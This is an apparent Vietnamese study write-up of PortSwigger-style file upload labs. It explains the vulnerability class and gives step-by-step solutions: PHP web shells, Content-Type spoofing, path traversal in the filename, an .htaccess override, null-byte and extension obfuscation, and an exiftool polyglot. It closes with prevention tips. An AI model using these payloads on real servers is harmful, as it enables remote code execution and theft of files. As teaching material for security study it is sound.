File upload
Lỗ hổng file upload là gì ?
Lỗ hổng file upload là khi máy chủ web cho phép người dùng tải tệp lên hệ thống tệp của nó mà không xác thực đầy đủ những thứ như tên, loại, nội dung hoặc kích thước của chúng. Việc không thực thi đúng các hạn chế đối với những điều này có thể có nghĩa là ngay cả chức năng tải lên hình ảnh cơ bản cũng có thể được sử dụng để tải lên các tệp tùy ý và có khả năng gây nguy hiểm.
Tác động của lỗ hổng file upload là gì ?
Tác động thường phụ thuộc vào hai yếu tố chính:
Khía cạnh nào của tệp mà trang web không xác thực đúng cách, cho dù đó là kích thước, loại, nội dung...
Những hạn chế nào được áp dụng cho tệp sau khi đã được tải lên thành công.
Trong trường hợp tệ nhất, loại tệp không được xác thực hợp lệ và cấu hình máy chủ cho phép một số loại tệp nhất định ( như .php và jsp) được thực thi dưới dạng mã. Trong trường hợp này attacker có khả năng có thể tải lên tệp mã phía máy chủ có chức năng như webshell, cấp cho chúng toàn quyền kiểm soát máy chủ một cách hiệu quả.
Lỗ hổng file upload phát sinh như thế nào ?
Trong thực tế, rất ít khi các trang web không có bất kì hạn chế nào đối với những tệp mà người dùng được phép tải lên. Các nhà phát triển triển khai những gì họ tin là xác thực mạnh mẽ vốn có thiếu sót hoặc có thể dễ dàng bỏ qua.
Ví dụ, học có thể cố gắng đưa các loại tệp nguy hiểm vào danh sách đen nhưng không tính đến sự khác biệt về phân tích cú pháp khi kiểm tra mở rộng tệp. Với bất kì danh sách đen nào, bạn cũng có thể vô tình bỏ qua các loại tệp khó hiểu hơn mà vẫn có thể nguy hiểm.
Trong trường hợp khác, trang web có thể cố gắng kiểm tra loại tệp bằng cách xác minh các thuộc tính mà kẻ tấn công có thể dễ dàng thao túng bằng các công cụ như Burp proxy hoặc Repeater.
Làm cách nào để máy chủ web xử lý các yêu cầu đối với tệp tĩnh ?
Trước đây, các trang web bao gồm hầu hết các tệp tĩnh sẽ được cung cấp cho người dùng khi được yêu cầu. Do đó, đường dẫn của từng yêu cầu có thể được ánh xạ 1:1 với hệ thống phân cấp của các thư mục và tệp trên hệ thống tệp của máy chủ. Ngày nay, các trang web ngày càng tân tiến hơn và đường dẫn của một yêu cầu thường không có mối quan hệ trực tiếp vào với hệ thống tệp. Tuy nhiên các trang web vẫn xử lý các yêu cầu đối với một số tệp tĩnh, bao gồm hình ảnh ....
Quá trình xử lý các tệp tĩnh này phần lớn là giống nhau. Tại một số điểm, máy chủ phân tích cú pháp đường dẫn trong yêu cầu để xác định phần mở rộng tệp. Sau đó, nó sử dụng thông tin này để xác định loại tệp được yêu cầu, thường bằng cách so sánh nó với danh sách được ánh xạ được định cấu hình sẵn giữa các phần mở rộng và loại MIME.
Nếu loại tệp này không thể thực thi được, chẳng hạn như hình ảnh hoặc trang HTML tĩnh, máy chủ có thể chỉ gửi nội dung của tệp tới máy khách trong phản hồi HTTP.
Nếu loại tệp có thể thực thi được, chẳng hạn như tệp PHP và máy chủ được định cấu hình để thực thi các tệp thuộc loại này, nó sẽ gán các biến dựa trên các tiêu đề và tham số trong yêu cầu HTTP trước khi chạy tập lệnh. Sau đó, đầu ra kết quả có thể được gửi đến máy khác trong phản hồi HTTP.
Nếu loại tệp có thể thực thi được, nhưng máy chủ không được cấu hình để thực thi các tệp thuộc loại này, thường phản hồi bằng lỗi. Tuy nhiên, trong một số trường hợp, nội dung của tệp vẫn có thể được cung cấp cho khách hàng dưới dạng văn bản thuần túy. Nhưng cấu hình sai như vậy đôi khi có thể bị khai thác để rò rỉ mã nguồn và các thông tin nhạy cảm khác.
Exploiting unrestricted file uploads to deploy a web shell
Tình huống xấu nhất có thể xảy ra là khi một trang web cho phép bạn tải lên các tập lệnh phía máy chủ, chẳng hạn như các tệp PHP, Java hoặc Python, đồng thời cũng được định cấu hình để thực thi chúng dưới dạng mã. Điều này làm cho việc tạo webshell của riêng bạn trên máy chủ trở nên đơn giản.
Web shell là một tập lệnh độc hại cho phép kẻ tấn công thực thi các lệnh tùy ý trên máy chủ web từ xa chỉ bằng cách gửi yêu cầu HTTP đến đúng điểm cuối.
Nếu bạn có thể tải lên webshell, bạn thực sự có toàn quyền kiểm soát máy chủ. Điều này có nghĩa là bạn có thể đọc và ghi các tệp tùy ý, lọc dữ liệu nhạy cảm, thậm chí sử dụng máy chủ để xoay vòng các cuộc tấn công chống lại cả cơ sở hạ tầng nội bộ và các máy chủ khác bên ngoài mạng. Ví dụ:
<?php echo file_get_content('path/to/target/file');?>
Thực hành lab: (Level Apprentice)
Tên lab: Remote code execution via web shell upload
Nội dung lab: Trang web này chứa lỗ hổng trong chức năng tải ảnh lên. Nó không thực hiện bất kỳ xác thực nào đối với các tệp mà người dùng tải lên trước khi lưu trữ chúng trên hệ thống tệp của máy chủ. Để giải quyết lab, hãy tải lên web shell PHP cơ bản và trích xuất nội dung của tệp /home/carlos/secret.
Thực hiện lab:
Đăng nhập với thông tin tài khoản mật khẩu đã cho
Tạo 1 file webshel.php với nội dung: <? php echo file_get_contents('/home/carlos/secret'); ?>
Upload file webshel.php đó lên và gửi request
Trong mục Proxy->History gửi request với phương thức GET /files/avatars/webshell.php đến Repeater.
Gửi request đó để nhận được thông tin bí mật. Submit và hoàn thành lab.
Exploiting flawed validation of file uploads
Trên thực tế, rất ít khi mà có thể tìm thấy một trang web không có biện pháp bảo vệ nào chống lại các cuộc tấn công tải lên tệp như thí nghiệm trước. Nhưng chỉ vì hệ thống phòng thủ được đặt đúng chỗ, điều đó không có nghĩa là chúng an toàn.
Flawed file type validation
Một cách mà các trang web có thể cố gắng xác thực các tệp tải lên là kiểm tra xem tiêu đề Content-Type dành riêng cho đầu vào này có khớp với loại MIME dự kiến hay không. Ví dụ: nếu máy chủ chỉ mong đợi các tệp hình ảnh, thì nó chỉ có thể cho phép các loại như image/jpeg và image/png. Các vấn đề có thể phát sinh khi giá trị của tiêu đề này được máy chủ hoàn toàn tin cậy. Nếu không thực hiện xác thực thêm để kiểm tra xem nội dung của tệp cho thực sự khớp với loại MIME giả định hay không, chính vì vậy, biện pháp bảo vệ này có thể dễ dàng vượt qua bằng cách sử dụng Burp Repeater.
Thực hành lab: (Level Apprentice)
Tên lab: Web shell upload via Content-Type restriction bypass
Nội dung lab: Trang web chứa chức năng tải lên hình ảnh dễ bị tấn công. Nó cố gắng ngăn người dùng tải lên các loại tệp không mong muốn nhưng dựa vào việc kiểm tra đầu vào do người dùng kiểm soat để xác minh điều này. Để giải quyết lab, hãy tìm bí mật trong tệp /home/carlos/secret .
Thực hiện lab:
Đăng nhập vào tài khoản đã cho. Tạo file webshell12.php và upload.
Dùng Burp suite để chặn request và sử đổi tiêu đề: Content-type : image/jpeg
Như vậy file đã được upload thành công. Truy cập request để đọc file bí mật.
Preventing file execution in user-accessible directories
Mặc dù điều này là tốt hơn việc chỉ ngăn chặn các loại tệp nguy hiểm được tải lên ngay từ đầu, tuyến phòng thủ thứ hai là ngăn máy chủ thực thi bất kỳ tập lệnh nào lọt qua mạng.
Để phòng ngừa điều này, các máy chủ chỉ chạy các tập lệnh có loại MIME mà chúng đã được cấu hình rõ ràng để thực thi. Mặt khác, chúng có thể chỉ trả về mộ số loại thông báo lỗi hoặc cung cấp nội dung của tệp dưới dạng văn bản thuần túy.
GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39
<?php echo system($_GET['command']); ?>
Hành vi này có thể cung cấp một cách để rò rỉ mã nguồn nhưng nó vô hiệu quá mọi lỗ lực tạo web shell.
Loại cấu hình này thường khác nhau giữa các thư mục. Mộ thư mục mà các tệp do người dùng cung cấp được tải lên sẽ có khả năng kiểm soát chặt chẽ hơn nhiều so với các vị trí khác trên hệ thống tệp được cho là nằm ngoài tầm với của người dùng cuối. Nếu bạn có thể tìm cách tải tập lệnh lên một thư mục khác không được phép chứa các tệp do người dùng cung cấp thì cuối cùng máy chủ có thể thực thi tập lệnh của bạn.
Các máy chủ web thường sử dụng trường filename này trong multipart/form-data để xác định tên và vị trí lưu tệp.
Thực hành lab: (Level Practitioner)
Tên lab : Web shell upload via path traversal
Nội dung lab: Trang web này chứa lỗ hổng trong chức năng tải ảnh lên. Máy chủ được cấu hình để bảo vệ việc thực thi các tập các tập lệnh do người dùng cung cấp, nhưng do hạn chế này có thể bỏ qua bằng cách khai thác lỗ hổng thứ cấp. Để giải quyết, hãy tìm nội dung tệp /home/carlos/secret.
Thực hiện lab:
Tải lên 1 bức ảnh bình thường để xem chức năng hiển thị.
Tạo 1 file PHP chứa nội dung sau và upload lên.
<?php echo file_get_contents('/home/carlos/secret'); ?>
Nhận thấy trang web không chặn file PHP. Nhưng kết quả trả về chỉ là một văn bản.Trong request POST /my-account/avatar, gửi đến Repeater và sửa : filename = '../test.php' và gửi request. Nhận thấy file vẫn được tải lên.
Trong Proxy -> History. Tìm request GET /file/avatar/../test.php. Gửi đến Repeater và đọc nội dung bí mật.
Điều này cho biết rằng tệp đã được tải lên thư mục cao hơn trong hệ thống phân cấp tệp ( /files
) và sau đó được thực thi bởi máy chủ. Lưu ý rằng điều này có nghĩa là bạn cũng có thể yêu cầu tệp này bằng cách sử dụng tệp GET /files/test.php
Insufficient blacklisting of dangerous file types
Một trong những cách rõ ràng hơn để ngăn người dùng tải lên các tệp độc hại là đưa vào danh sách đen các phần mở rộng tệp nguy hiểm tiềm tàng như .php . Việc lập danh sách đen vốn đã có sai sót vì khó có thể ngăn chặn rõ ràng mọi phần mở rộng tệp có thể được sử dụng để thực thi mã. Những danh sách đen như vậy đôi khi có thể được bỏ qua bằng cách sử dụng các phần mở rộng tệp thay thế, ít được biết đến hơn mà vẫn có thể thực thi. (php5, phtml,...)
Overriding the server configuration
Các máy chủ thường không thực thi các tệp trừ khi chúng được cấu hình làm như vậy. Ví dụ: trước khi máy chủ Apache thực thi các tệp PHP do khách hàng yêu cầu, các nhà phát triển có thể phải thêm các lệnh sau vào tệp /etc/apache2/apache2.conf của họ:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
Nhiều máy chủ cũng có phép các dev tạo các tệp cấu hình đặc biệt trong các thư mục riêng lẻ để ghi đè hoặc thêm vào một hoặc nhiều cài đặt chung. Ví dụ, các máy chủ Apache sẽ tải một cấu hình dành riêng cho thư mục từ một tập có tên .htaccess nếu có.
Tương tự, các dev có thể tạo cấu hình dành riêng cho thư mục trên máy chủ IIS bằng web.config. Điều này có thể bao gồm các lệnh sau, trong trường hợp này cho phép các tệp JSON được cung cấp cho người dùng:
Thực hành lab : (Level Practitioner)
Tên lab: Web shell upload via extension blacklist bypass
Nội dung lab : Trang web này có chức năng tải ảnh lên dễ bị tấn công. Một số phần mở rộng tệp nhất định được đưa vào danh sách đen, nhưng biện pháp bảo vệ này có thể bị bỏ qua do một lỗ hổng co bản trong cấu hình của danh sách đen này. Để hoàn thành lab, hãy truy xuất nội dung tệp /home/carlos/secret
Thực hiện lab:
Upload 1 bức ảnh bình thường và gửi request
Gửi Request POST /my-account/avatar đến Repeater
Sửa đổi filename thành shell.php và nội dung thành : <? php echo file_get_contents('/home/carlos/secret'); ?>
Dường như server đã chặn không cho upload file đuôi .php .Thử những phần mở rộng khác như kết quả trả về chỉ là văn bản thuần túy.
Sửa đổi filename thành .htaccess , Content-Type : text/plain, nội dung file : AddType application/x-httpd-php .misa
File .htaccess đã được upload lên. Bây giờ, upload một file shell.misa với nội dung <? php echo file_get_contents('/home/carlos/secret'); ?> . và tìm tới request GET /files/avatars/shell.misa. Nội dung bí mật của tệp đã được đọc.
Obfuscating file extensions
Ngay cả những danh sách đen toàn diện nhất cũng có thể bị bỏ qua bằng cách sử dụng các kỹ thuật che giấu cổ điển. Giả sử, mã xác thực phân biệt chữ hoa và chữ thường và không nhận ra thực tế exploit.pHp là một tệp .php . Nếu mã sau đó ánh xạ phần mở rộng tệp sang loại MIME không phân biệt chữ hoa và chữ thường, thì sự khác biệt này cho phép bạn đánh cắp các tệp PHP độc hại trong quá trình xác thực mà cuối cùng có thể được thực thi bởi máy chủ.
Có thể đạt được kết quả tương tự bằng cách sử dụng các kỹ thuật sau:
Cung cấp nhiều tiện ích mở rộng. Tùy thuộc vào thuật toán được sử dụng để phân tích cú pháp tên tệp, tệp sau đây có thể được hiểu là tệp PHP hoặc hình ảnh (exploit.php.jpg)
Thêm các kí tự theo sau. Một số thành phần sẽ loại bỏ hoặc bỏ qua khoảng trắng ở cuối, dấu chấm và những thứ tương tự: exploit.php.
Sử dụng mã hóa URL (hoặc mã hóa kép URL) cho dấu chấm, dấu gạch chéo lên và dấu gạch chéo ngược. Nếu giá trị không được giải mã khi xác thực phần mở rộng tệp, nhưng sau đó được giải mã phía máy chủ, điều này cũng có thể cho phép bạn tải lên các tệp độc hại mà đáng lẽ ra sẽ bị chặn : exploit%2Ephp
Thêm dấu chấm phẩy hoặc ký tự byte rỗng được mã hóa URL trước phần mở rộng tệp. Ví dụ: nếu quá trình xác thực được viết bằng ngôn ngữ cao cấp như PHP hoặc Java, nhưng máy chủ xử lý tệp bằng các hàm cấp thấp hơn trong C/C++, thì điều này có thể gây ra sự khác biệt ở phần được coi là phần cuối của tệp : exploit.asp;.jpg hoặc exploit.asp%00.jpg
Sử dụng các ký tự unicode nhiều byte, có thể được chuyển đổi thành byte rỗng và dấu chấm sau khi chuyển đổi hoặc chuẩn hóa unicode. Các chuỗi xC0 x2E, xC4 xAE hoặc xC0 xAE có thể được dịch thành x2E nếu tên tệp được phân tích cú pháp dưới dạng chuỗi UTF-8, nhưng sau đó được chuyển đổi thành kí tự ASCII trước khi được sử dụng trong đường dẫn.
Thực hành lab: (Level Practitioner)
Tên lab: Web shell upload via obfuscated file extension
Nội dung lab: Trang web này chứa chức năng tải ảnh lên hình ảnh dễ bị tấn công. Một số phần mở rộng tệp nhất định được đưa vào danh sách đen, nhưng có thể bỏ qua biện pháp bảo vệ này bằng kỹ thuật che giấu cổ điển. Để giải quyết bài lab này, hãy đọc nội dung tệp /home/carlos/secret
Thực hiện lab:
Tải lên một bức ảnh bất kì và gửi request đó tới Repeater.
Sửa đổi nội dung tệp thành : <?php echo file_get_contents(/home/carlos/secret'); ?> sửa đổi filename thành webshell.php%00jpg (Bạn tự kiểm tra các phần mở rộng tệp trước rồi mới thử phần mở rộng này để có cái nhìn tổng quan nhất)
File đã được upload lên thành công.
Bây giờ, tìm request chứa đường dẫn đến file mình vừa upload lên và gửi đến Repeater. Xóa đuôi %00jpg ở đường dẫn để đọc file.
Flawed validation of the file's contents
Thay vì hoàn toàn tin tưởng vào Content-Type được chỉ định trong một yêu cầu, các máy chủ an toàn hơn sẽ cố gắng xác minh rằng nội dung của tệp thực sự khớp với những gì được mong đợi.
Trong trường hợp chức năng tải được lên hình ảnh, máy chủ có thể cố gắng xác minh một số thuộc tính nội tại của hình ảnh, chẳng hạn như kích thước của hình ảnh. Ví dụ: nếu bạn thử tải lên một tập lệnh PHP, tập lệnh đó sẽ không bất kỳ thứ nguyên nào. Do đó, máy chủ có thể suy luận rằng đó không thể là hình ảnh và từ chối tải lên tương ứng.
Tương tự, một số loại tệp nhất định có thể luôn chứa một byte cụ thể trong đầu trang hoặc chân trang của chúng. Chúng có thể được sử dụng như dấu vân tay hoặc chữ kí để xác định xem nội dung có khớp với loại dự kiến hay không. Ví dụ : các tệp JPEG luôn bắt đầu bằng byte FF D8 FF E0
Thực hành lab: (Level Practitioner)
Tên lab: Remote code execution via polyglot web shell upload
Nội dung lab: Trang web này chứa chức năng tải ảnh lên dễ bị tấn công. Mặc dù đã kiểm tra nội dung của tệp để xác minh rằng đó là hình ảnh đúng nhưng vẫn có thể tải lên và thực thi mã phía máy chủ. Để giải quyết vấn đề này, đọc nội dung tệp /home/carlos/secret.
Thực hiện lab:
Tạo 1 file php với nội dung: <?php echo file_get_contents('/home/carlos/content'); ?> Upload file này lên và xem trang web đã chặn bằng biện pháp nào.
Tạo một polyglot với exiftool:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-images.jpg -o polyglot.php
Upload file polyglot.php lên và đọc nội dụng file bí mật:
Exploiting file upload vulnerabilities without remote code execution
Trong các bài lab trên, chúng ta đã có thể tải lên các tập lệnh phía máy chủ để thực thi mã từ xa. Đây là hậu quả nghiêm trọng nhất của chức năng tải lên tệp không an toàn, nhưng những lỗ hổng này vẫn có thể bị khai thác theo những cách khác.
Uploading malicious client-site topics
Mặc dù không thể thực thi tập lệnh trên máy chủ, nhưng bạn vẫn có thể tải lên tập lệnh cho các cuộc tấn công phía máy khách. Ví dụ, nếu bạn có thể tải lên tệp HTML hoặc SVG, bạn có thể sử dụng <script> để tạo payload Stored XSS.
Nếu tệp đã tải lên sau đó xuất hiện một trang được người dùng khác truy cập, thì trình duyệt của họ sẽ thực thi tập lệnh khi cố gắng hiển thị trang. Lưu ý rằng do các hạn chế về chính sách, các kiểu tấn công này sẽ chỉ hoạt động nếu tệp đã tải lên được phân phát từ một nguồn gốc mà bạn tải tệp lên
Exploiting vulnerabilities in the parsing of uploaded files
Nếu tệp đã tải lên dường như vừa được lưu trữ vừa được phát tán an toàn, thì biện pháp cuối cùng là thử khai thác các lỗ hổng dành riêng cho việc phân tích cú pháp hoặc xử lý các định dạng tệp khác nhau. Ví dụ, bạn biết rằng máy chủ phân tích cú pháp các tệp dựa trên XML, chẳng hạn như Microsoft Office các tệp .doc hoặc .xls. đây có thể là vector tiềm năng cho các cuộc XXE injection
Uploading files using PUT
Cần chú ý rằng, một số máy chủ web có thể được cấu hình để hỗ trợ yêu cầu PUT. Nếu không có biện pháp phòng vệ thích hợp, điều này có thể cung cấp một phương tiện thay thế để tải lên các tệp độc hại, nay cả khi chức năng tải lên không khả dụng qua giao diện web.
Bạn có thể gửi yêu cầu OPTIONS đến các điểm cuối khác nhau để kiểm tra xem có bất kỳ điểm cuối nào hỗ trợ cho phương pháp PUT hay không.
How to prevent file upload vulnerabilities
Việc cho phép người dùng tải lên tệp là phổ biến và không nguy hiểm miễn là bạn thực hiện các biện pháp phòng ngừa đúng đắn. Nói chung, cách hiệu quả nhất để bảo vệ trang web của bạn khỏi những lỗ hổng này là thực hiện tất cả các phương pháp sau:
Kiểm tra phần mở rộng tệp dựa trên danh sách trắng và danh sách đen các phần mở rộng bị cấm. Việc đoán tiện ích mở rộng nào bạn có thể muốn cho phép sẽ dễ dàng hơn nhiều so với việc đoán tiện ích mở rộng nào mà kẻ tấn công có thể cố tải lên.
Đảm bảo rằng tên tệp không chứa bất kỳ chuỗi con nào có thể được hiểu là thư mục hoặc trình tự truyền tải (../)
Đổi tên các tệp đã tải lên để tránh xung đột có thể khiến các tệp hiện có bị ghi đè.
Không tải tệp lên hệ thống cố định của máy chủ cho đến khi chúng được xác thực đầy đủ.
Last updated